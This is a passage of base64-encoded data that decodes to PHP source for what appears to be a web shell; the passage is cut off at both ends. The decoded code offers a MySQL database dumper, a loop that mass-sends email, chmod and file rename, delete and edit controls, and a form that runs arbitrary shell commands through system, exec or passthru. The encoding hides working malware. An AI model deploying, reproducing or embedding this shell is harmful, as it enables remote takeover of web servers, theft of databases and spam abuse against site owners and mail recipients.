XplPTI+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+RGF0YSBCYXNlIE5hbWU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibmFtZT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0VBRUFFQT48Y2VudGVyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBEdW1wISAgIiA+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ2RibmFtZSddICYmICRfUE9TVFsnbWV0aG9kJ10pew0KJGRhdGUgPSBkYXRlKCJZLW0tZCIpOw0KJGRic2VydmVyID0gJF9QT1NUWydzZXJ2ZXInXTsNCiRkYnVzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQokZGJwYXNzID0gJF9QT1NUWydwYXNzd29yZCddOw0KJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQokZmlsZSA9ICJEdW1wLSRkYm5hbWUtJGRhdGUiOw0KJG1ldGhvZCA9ICRfUE9TVFsnbWV0aG9kJ107DQppZiAoJG1ldGhvZD09J3NxbCcpew0KJGZpbGU9IkR1bXAtJGRibmFtZS0kZGF0ZS5zcWwiOw0KJGZwPWZvcGVuKCRmaWxlLCJ3Iik7DQp9ZWxzZXsNCiRmaWxlPSJEdW1wLSRkYm5hbWUtJGRhdGUuc3FsLmd6IjsNCiRmcCA9IGd6b3BlbigkZmlsZSwidyIpOw0KfQ0KZnVuY3Rpb24gd3JpdGUoJGRhdGEpIHsNCmdsb2JhbCAkZnA7DQppZiAoJF9QT1NUWydtZXRob2QnXT09J3NxbCcpew0KZndyaXRlKCRmcCwkZGF0YSk7DQp9ZWxzZXsNCmd6d3JpdGUoJGZwLCAkZGF0YSk7DQp9fQ0KbXlzcWxfY29ubmVjdCAoJGRic2VydmVyLCAkZGJ1c2VyLCAkZGJwYXNzKTsNCm15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCiR0YWJsZXMgPSBteXNxbF9xdWVyeSAoIlNIT1cgVEFCTEVTIik7DQp3aGlsZSAoJGkgPSBteXNxbF9mZXRjaF9hcnJheSgkdGFibGVzKSkgew0KICAgICRpID0gJGlbJ1RhYmxlc19pbl8nLiRkYm5hbWVdOw0KICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheShteXNxbF9xdWVyeSAoIlNIT1cgQ1JFQVRFIFRBQkxFICIuJGkpKTsNCiAgICB3cml0ZSgkY3JlYXRlWydDcmVhdGUgVGFibGUnXS4iO1xuXG4iKTsNCiAgICAkc3FsID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgKiBGUk9NICIuJGkpOw0KICAgIGlmIChteXNxbF9udW1fcm93cygkc3FsKSkgew0KICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygkc3FsKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaiA9PiAkaykgew0KICAgICAgICAgICAgICAgICRyb3dbJGpdID0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJGspLiInIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdyaXRlKCJJTlNFUlQgSU5UTyAkaSBWQUxVRVMoIi5pbXBsb2RlKCIsIiwgJHJvdykuIik7XG4iKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmlmICgkbWV0aG9kPT0nc3FsJyl7DQpmY2xvc2UgKCRmcCk7DQp9ZWxzZXsNCmd6Y2xvc2UoJGZwKTt9DQpoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiAkZmlsZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZmlsZSkpOw0KZmx1c2goKTsNCg0KJGZwID0gZm9wZW4oJGZpbGUsICJyIik7DQp3aGlsZSAoIWZlb2YoJGZwKSkNCnsNCiAgICBlY2hvIGZyZWFkKCRmcCwgNjU1MzYpOw0KICAgIGZsdXNoKCk7DQp9IA0KZmNsb3NlKCRmcCk7IA0KfQ0KDQppZiAoJF9HRVRbJ2RvJ109PSJtYWlsIil7DQplY2hvICRoZWFkLicNCjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iJy4kbWUuJyI+DQo8cCBhbGlnbj0iY2VudGVyIj4NCkFkZHJlc3MgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRtYWlsIiBzaXplPSI1MCI+PGJyPjxicj5TdWJqZWN0IDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN1Ym1haWwiIHNpemU9IjUwIj48YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPTcwIHJvd3M9MTggbmFtZT10ZXh0bWFpbD5UZXh0PC90ZXh0YXJlYT48YnI+PGJyPk51bWJlciBGb3IgU2VuZCA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1haWwiIHNpemU9IjUiIHZhbHVlPTE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNlbmQhPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZG1haWwnXSAmJiAkX1BPU1RbJ3N1Ym1haWwnXSApew0KZm9yKCRtaT0wOyRtaTxpbnR2YWwoJF9QT1NUWydudW1haWwnXSk7JG1pKyspew0KbWFpbCgkX1BPU1RbJ2FkbWFpbCddLCAkX1BPU1RbJ3N1Ym1haWwnXSwgJF9QT1NUWyd0ZXh0bWFpbCddKTt9DQp9DQppZigkX0dFVFsnZG8nXT09ImRiIil7DQplY2hvICRoZWFkO3NxbGNsaWVuVCgpO2VjaG8gJGVuZDsNCmV4aXQ7DQp9DQppZigkX1JFUVVFU1RbJ2ZpbGUyY2gnXSAmJiAkX1JFUVVFU1RbJ2NobW9kbm93J10pew0KJGNobW9kbnVtMj0kX1JFUVVFU1RbJ2NobW9kbm93J107DQpjaG1vZCgkX1JFUVVFU1RbJ2ZpbGUyY2gnXSwiMCIuJGNobW9kbnVtMik7DQp9DQppZigkX0dFVFsnZG8nXT09ImNobW9kIil7DQplY2hvICRoZWFkLiRmb3JtZy4kbm93YWRkcmVzcy4iPHAgYWxpZ249Y2VudGVyPjxiPkNobW9kPC9iPjxicj48aW5wdXQgc2l6ZT01MCBuYW1lPWZpbGUyY2ggdmFsdWU9JyIuJF9SRVFVRVNUWydhZGRyZXNzJ10uJF9SRVFVRVNUWydmaWxlbmFtZSddLiInPiBUbyAgPGlucHV0IG5hbWU9Y2htb2Rub3cgc2l6ZT0xIHZhbHVlPTc3Nz48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNldD48L2Zvcm0+Ii4kZW5kO2V4aXQ7DQoNCn0NCi8qIGlmKCRfR0VUWydkbyddPT0iZWRpdCIpew0KaWYoJF9HRVRbJ2ZpbGVuYW1lJ109PSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfR0VUWydhZGRyZXNzJ10pO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KDQp9fSAqLw0KJGFyYWRkcmVzc3M9ZXhwbG9kZSgkc2xhc2gsZ2V0Y3dkKCkpOw0KJG1hdGhhcnJheXk9Y291bnQoJGFyYWRkcmVzc3MpLTE7DQokYWRkcjFiYWNraz1zdHJfcmVwbGFjZSgkYXJhZGRyZXNzc1skbWF0aGFycmF5eV0sIiIsJGFyYWRkcmVzc3MpOw0KZm9yKCRjb3VudGJhY2s9MDskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGFycmF5YmFja2VbJGNvdW50YmFja109JHNsYXNoLiRhZGRyMWJhY2trWyRjb3VudGJhY2tdOw0KJGJhY2tkaXJ1bml4eD0kYmFja2RpcnVuaXh4LiRzbGFzaC4kYWRkcjFiYWNra1skY291bnRiYWNrXTsNCn0NCmlmICgkc2xhc2g9PSJcXCIpew0KJGNvdW50YmFjaz1udWxsOw0KJGJhY2tkaXJ3aW49bnVsbDsNCmZvcigkY291bnRiYWNrPTE7JGNvdW50YmFjazxjb3VudCgkYWRkcjFiYWNrayk7JGNvdW50YmFjaysrKXsNCiRiYWNrZGlyd2luPSRiYWNrZGlyd2luLiJcXCIuJGFkZHIxYmFja2tbJGNvdW50YmFja107fQ0KJGJhY2tkaXJ3aW49JGFkZHIxYmFja2tbMF0uJGJhY2tkaXJ3aW47DQokYmFja2FkZHJlc3NzPSRiYWNrZGlyd2luOw0KfWVsc2V7DQokY291bnRiYWNrPW51bGw7DQokYmFja2Rpcndpbj1udWxsOw0KZm9yKCRjb3VudGJhY2s9MTskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGJhY2tkaXJ3aW49JGJhY2tkaXJ3aW4uIi8iLiRhZGRyMWJhY2trWyRjb3VudGJhY2tdO30NCiRiYWNrZGlyd2luPSRhZGRyMWJhY2trWzBdLiRiYWNrZGlyd2luOw0KJGJhY2thZGRyZXNzcz0kYmFja2RpcndpbjsNCiRiYWNrYWRkcmVzc3M9c3RyX3JlcGxhY2UoIlxcIiwiLyIsJGJhY2thZGRyZXNzcyk7DQp9DQpmdW5jdGlvbiBjYWxjX2Rpcl9zaXplKCRwYXRoKQ0Kew0KJHNpemUgPSAwOw0KaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkNCnsNCndoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKQ0Kew0KJGN1cnJlbnRfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGVudHJ5Ow0KaWYgKCRlbnRyeSAhPSAnLicgJiYgJGVudHJ5ICE9ICcuLicgJiYgIWlzX2xpbmsoJGN1cnJlbnRfcGF0aCkpDQp7DQppZiAoaXNfZmlsZSgkY3VycmVudF9wYXRoKSkNCiRzaXplICs9IGZpbGVzaXplKCRjdXJyZW50X3BhdGgpOw0KZWxzZWlmIChpc19kaXIoJGN1cnJlbnRfcGF0aCkpDQokc2l6ZSA9IGNhbGNfZGlyX3NpemUoJGN1cnJlbnRfcGF0aCk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnJldHVybiAkc2l6ZTsNCn0gDQpmdW5jdGlvbiBvcGVuZigkcGFyc2VmKXsNCmdsb2JhbCAkYmFzZXAsJHNsYXNoOw0KDQppZihzdHJsZW4oc3RycG9zKGdldGN3ZCgpLCRiYXNlcCkpPj0xKXsNCiRycj1zdHJfcmVwbGFjZSgkYmFzZXAsIiIsZ2V0Y3dkKCkpOw0KJHJyPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRycik7DQokZGlyb3Blbj0nPGEgaHJlZj0iJy4kcnIuIi8iLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn1lbHNlew0KJGRpcm9wZW49JzxhIGhyZWY9Ij9kbz1lZGl0JmFkZHJlc3M9Jy5nZXRjd2QoKS4kc2xhc2guJyZmaWxlbmFtZT0nLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn0NCnJldHVybiAkZGlyb3BlbjsNCn0NCmlmICgkX0dFVFsnYWRkcmVzcyddKXskaWZnZXQ9JF9HRVRbJ2FkZHJlc3MnXTt9aWYoJF9QT1NUWydhZGRyZXNzJ10peyRpZmdldD0kX1BPU1RbJ2FkZHJlc3MnXTt9DQppZigkY3dkPT0nJyl7JGN3ZD1nZXRjd2QoKTt9JG5vd2FkZHJlc3M9JzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuJGN3ZC4nIj4nOw0KJGFkPWdldGN3ZCgpOw0KJGhhbmQ9b3BlbmRpcigiJGFkIik7DQokY29pPTA7DQokY29pMj0wOw0KDQp3aGlsZSAoZmFsc2UgIT09ICgkZmlsZWVlID0gcmVhZGRpcigkaGFuZCkpKSB7DQoNCg0KICAgICAgICBpZiAoJGZpbGVlZSAhPSAiLiIgJiYgJGZpbGVlZSAhPSAiLi4iKSB7DQoJCWlmIChmaWxldHlwZSgkZmlsZWVlKT09ImRpciIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInOw0KDQp9DQokY29pKys7DQokZmlsPSRmaWwuJzx0YWJsZSBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJib3JkZXItc3R5bGU6IGRvdHRlZDsgYm9yZGVyLXdpZHRoOiAwcHgiIGJvcmRlcmNvbG9yPSIjQ0RDRENEIiBiZ2NvbG9yPScuJGNvbG9ydC4nIHdpZHRoPSI5NTAiIGhlaWdodD0iMSIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZGlyLiAnIiAvPiA8YSBocmVmPSI/YWRkcmVzcz0nLiRjd2QuJHNsYXNoLiRmaWxlZWUuJHNsYXNoLiciPicuJGZpbGVlZS4nPC9iPjwvc3Bhbj48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iNjUiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLmRhdGUoInkvbS9kIiwgZmlsZWN0aW1lKCRmaWxlZWUpKS4nPC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRjd2QuJHNsYXNoLiIkZmlsZWVlIikpLCAtMykuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWRvd24mdHlwZT1kaXImYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZGlybmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZGlyJmFkZHJlc3M9Jy4kY3dkLiRzbGFzaC4nJmZpbGVuYW1lPScuJGZpbGVlZS4nIj5EZWw8L2E+PC90ZD48L3RyPjwvdGFibGU+Jw0KO30NCmVsc2V7DQoNCgkJaWYgKCRjb2kyICUyKXsNCiRjb2xvcnQ9JyIjZTdlM2RlIic7DQp9ZWxzZXsNCiRjb2xvcnQ9JyIjZTRlMWRlIic7DQp9DQoNCiRjb2kyKys7DQokZmlsZT0kZmlsZS4nPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9ImJvcmRlci1zdHlsZTogZG90dGVkOyBib3JkZXItd2lkdGg6IDBweCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIGJnY29sb3I9Jy4kY29sb3J0Licgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZmlsZS4gJyIgLz4gJy5vcGVuZigkZmlsZWVlKS4nPC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI4MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc2l6ZWUoZmlsZXNpemUoJGZpbGVlZSkpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjY1Ij48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+Jy5kYXRlKCJ5L20vZCIsIGZpbGVjdGltZSgkZmlsZWVlKSkuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkY3dkLiRzbGFzaC4iJGZpbGVlZSIpKSwgLTMpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjMwIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWVkaXQmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPkVkaXQ8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIyMyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1kb3duJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+RGVsPC9hPjwvdGQ+PC90cj48L3RhYmxlPicNCjt9DQp9DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kZmlsLiRmaWxlLic8L3RhYmxlPg0KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29tbWFuZCBFeGVjdXRlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgbmFtZT1jb21tYW5kIHZhbHVlPWlkIHNpemU9NTA+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9Y21kIHNpemU9NTA+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+DQo8L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJHNsYXNoLicgc2l6ZT01MD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1DaGFuZ2U+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIERpciA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGlucHV0IG5hbWU9Y2Rpcm5hbWUgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTUwPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIEZpbGUgOiA8L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPjxpbnB1dCBuYW1lPWNmaWxlbmFtZSB2YWx1ZT0nLmdldGN3ZCgpLiRzbGFzaC4nIHNpemU9NTA+IDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48L2Zvcm0+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj48YnI+Jy4kZm9ybWcuJ1VwbG9hZCA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGZvcm0gYWN0aW